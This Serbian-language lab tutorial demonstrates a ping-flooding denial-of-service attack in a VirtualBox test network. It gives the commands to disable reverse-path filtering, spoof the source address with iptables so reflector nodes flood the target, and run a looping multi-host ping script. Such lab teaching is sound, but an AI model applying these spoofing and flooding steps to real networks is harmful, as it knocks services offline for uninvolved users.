Ping flooding – praktični primer

Jednostavan, ali efikasan, denial of service – DoS napad u računarskoj mreži je ping poplava (ping flooding) napad. Ideja je da zlonamerni računar pokrene slanje velikog broja ping poruka ka računaru meti. Ako je dovoljno poruka poslato, veza koja vodi do računara mete se preoptereti, i na taj način onemogući normalna komunikacija sa računarom metom.
Cilj ping flooding DoS napada je da pokuša da preoptereti vezu koja vodi do mete, tako da paketi koji pristižu od običnih korisnika do mete budu odbačeni ili da bitno kasne. Preopterećivanje mreže se postiže slanjem dovoljne količine podataka preko veze koja vodi do mete, tako da se dostigne njen pun kapacitet. U stvarnom svetu, veza koja vodi od mreže do davaoca internet usluga (Internet service provider – ISP) ili veza koja vodi do nekog računara unutar LAN-a, je meta napada. Ako ta veza, koja je meta, ima veliki kapacitet (više Gb/s), potrebno je upotrebiti mnogo računara, koji će veoma često slati podatke, da bi se dostigao pun kapacitet te veze. Sam napadač uglavnom ne učestvuje u napadu, ali inicira napad botova na metu.

Demonstraciju ping flooding napada ćemo izvršiti na virtuelnoj mreži u VirtualBox-u. Mrežu možete preuzeti ovde.

Konfigurisanje mreže

Na mreži je potrebno da se nalaze zlonamerni računar, računar meta i nekoliko reflektora (računara koje zlonamerni računar može da koristi da bi napao metu). U ovom slučaju koristićemo topologiju mreže koja je data na slici ispod.

Obzirom da tema nije kreiranje topologije, nju ćemo samo importovati već kreiranu na sledeći način:

FILE -> Import appliance -> Choose appliance -> Next -> Import

Ova topologija ima osam nodova koji se nalaze u tri podmreže (nodovi 2 i 7 su ruteri). Sve IP adrese počinju sa 192.168., tako da je adresa node1 192.168.1.11. Node1 će biti zlonamerni računar, node8 će biti meta, a nodovi 3, 4, 5 i 6 će se ponašati kao reflektori. Node3 će se koristiti i kao običan korisnik sa veb pretraživačem koji pokušava da pristupi veb serveru (node8).

Označimo sve mašine pa pritisnemo na dugme Start.

Kada se pokrenu sve mašine, možemo se ulogovati sa student/student#pmf kredencijalima na svakoj od njih.

Isključivanje zaštite

U našoj virtuelnoj mreži imamo samo nekoliko nodova i da bi preopteretili vezu ka računaru meti (veza između nodova 7 i 8), potrebno je da kapacitet te veze bude prilično nizak. VirtualBox emulira mrežne veze, ali ne postavlja maksimalan kapacitet veza. Brzina kojom dva noda razmenjuju podatke varira i zavisi od više faktora: brzina procesora hosta, diska i drajvera koji se koriste za interfejse virtuelnih mrežnih adaptera i sl. Da bismo eksplicitno podesili kapacitet veze između nodova 7 i 8 koristićemo Linux alat za kontrolu saobraćaja – tc. 
Tc se koristi da bi se emulirao kapacitet veze i odbacivanje paketa. Tc utiče na izlaznu vezu i da bi se promenio kapacitet veze, u oba pravca, između nodova 7 i 8, potrebno je koristiti tc na oba noda. U ovom slučaju kapacitet veze će biti 30,000 bitova po sekundi (30 kb/s). Ovaj kapacitet je dovoljno mali da bi se ostvarili naši pokušaji preopterećenja veze sa par nodova koji šalju ping. 

Za node7 uneti:

sudo tc qdisc add dev eth2 root handle 1:0 htb default 10

sudo tc class add dev eth2 parent 1:0 classid 1:10 htb rate 30000

Za node8 uneti:

sudo tc qdisc add dev eth1 root handle 1:0 htb default 10

sudo tc class add dev eth1 parent 1:0 classid 1:10 htb rate 30000

Linux jezgro ima opcije koje sprečavaju (ili veoma otežavaju) ping flooding napad. Da bi videli napad u akciji, potrebno je isključiti ove sigurnosne opcije.

Kada se ponaša kao ruter, Linux jezgro ne dozvoljava da paketi koji potiču sa jedne podmreže (javljaju se na određenom interfejsu), a ne pripadaju toj podmreži budu prosleđeni dalje. Ova osobina se zove obrnuto filtriranje putanje (Reverse Path Filtering). Potrebno je isključiti ovu opciju na ruterima naše mreže (nodovi 2 i 7) isključivanjem opcije jezgra rp_filter za oba interfejsa eth1 i eth2, kao i za sve (all) interfejse.

Potrebno je i resetovati mrežu da bi opcije postale aktivne:

Za nodove 2 I 7 uneti:

sudo sysctl net.ipv4.conf.eth1.rp_filter=0

sudo sysctl net.ipv4.conf.eth2.rp_filter=0

sudo sysctl net.ipv4.conf.all.rp_filter=0

sudo /etc/init.d/networking restart

Virtuelna mreža je kreirana, kapacitet veze postavljen na 30 kb/s i sigurnosne funkcije Linux jezgra su isključene, pa možemo da izvedemo ping flooding napade.

Priprema napada

Veoma korisno svojstvo u ping flooding napadima je ta što zlonamerni node može da koristi lažnu adresu izvora.

Za node1 uneti:

sudo iptables -t nat -A POSTROUTING -j SNAT --to-source 192.168.3.31

Videli smo da Linux (i ostali OS) imaju sigurnosnu opciju koja ograničava korišćenje pinga ka broadcast adresama. Ipak, zlonamerni računar može da ping-uje više računara i tako izvrši napad. Ako je node1 zlonameran, on može da ping-uje nodove 3, 4, 5 i 6 u isto vreme i tako ih natera da pošalju odgovor ka računaru meti. Da bi automatizovali ping ka više računara možemo napraviti skriptu pingujvise.sh i nju pokrenuti sa node1.

Za node1 uneti:

mkdir test

cd test

sudo nano pingujvise.sh

Fajl pingujvise.sh treba sadržati:

#!/bin/bash args=$# interval=$1 pktsize=$2 while true; do for (( i=3; i<=$args; i++ )); do ping -i $interval -s $pktsize $3 > /dev/null & shift; done done 

Potrebno je podesiti i da fajl može da se izvrši(dodeliti mu dozvole za izvršavanje):

sudo chmod +x pingujvise.sh

Svrha ping flooding napada je da uskrati pristup meti običnim korisnicima. Da bi smo videli efekte našeg napada postavićemo Apache web server na računaru meti (node8) i probaćemo da pristupimo html stranici sa tog servera.

Da bismo postavili web server na računaru node8 potrebno ga je instalirati (ako nije instaliran) i pokrenuti (ako već nije pokrenut):

Za node8 uneti:

sudo apt-get install apache2

sudo apache2ctl start

Web serveru možemo da pristupimo preko računara node3 preko web pretraživača lynx koji se izvršava unutar komandne linije.

Za node3 uneti:

sudo apt-get install lynx

lynx http://192.168.3.31/

Node3 pristupa web serveru koji se nalazi na node8.

Napad

Da bi node1 pingovao više računara potrebno je pokrenuti skriptu pingujvise.sh. Prva dva argumenta skripte su ping interval (-i opcija ping komande) i velicina paketa (-s opcija). Sledeći argumenti su IP adrese računara koje hoćemo da pingujemo. Da bi smo poslali 972 bajta podataka u svakom ICMP Echo zahtevu brzinom 5 pingova po sekundi ka nodovima 3, 4, 5 i 6.

Da pokrenemo napad, na node1 pokrenemo:

./pingujvise.sh 0.2 972 192.168.2.21 192.168.2.22 192.168.2.23 192.168.2.24

Ako opet pokušamo sa node3 da pristupimo web server na node8, nećemo uspeti da se povežemo.

Da bismo zaustavili ping moramo ubiti (kill) svaki proces. Najlakši način je da se pošalje signal prekida ka svakom procesu koji sadrži reč ping.

Da prekinemo napad na node1 pokrenemo:

pkill -9 ping

Ukoliko želimo da proveravamo pakete koji prolaze kroz odredjeni node, na tom node-u pokrenemo:

sudo apt-get install tcpdump

sudo tcpdump -i eth1

(eth1 se treba zameniti u eth2 ukoliko preko tog interfejsa node pristupa mreži)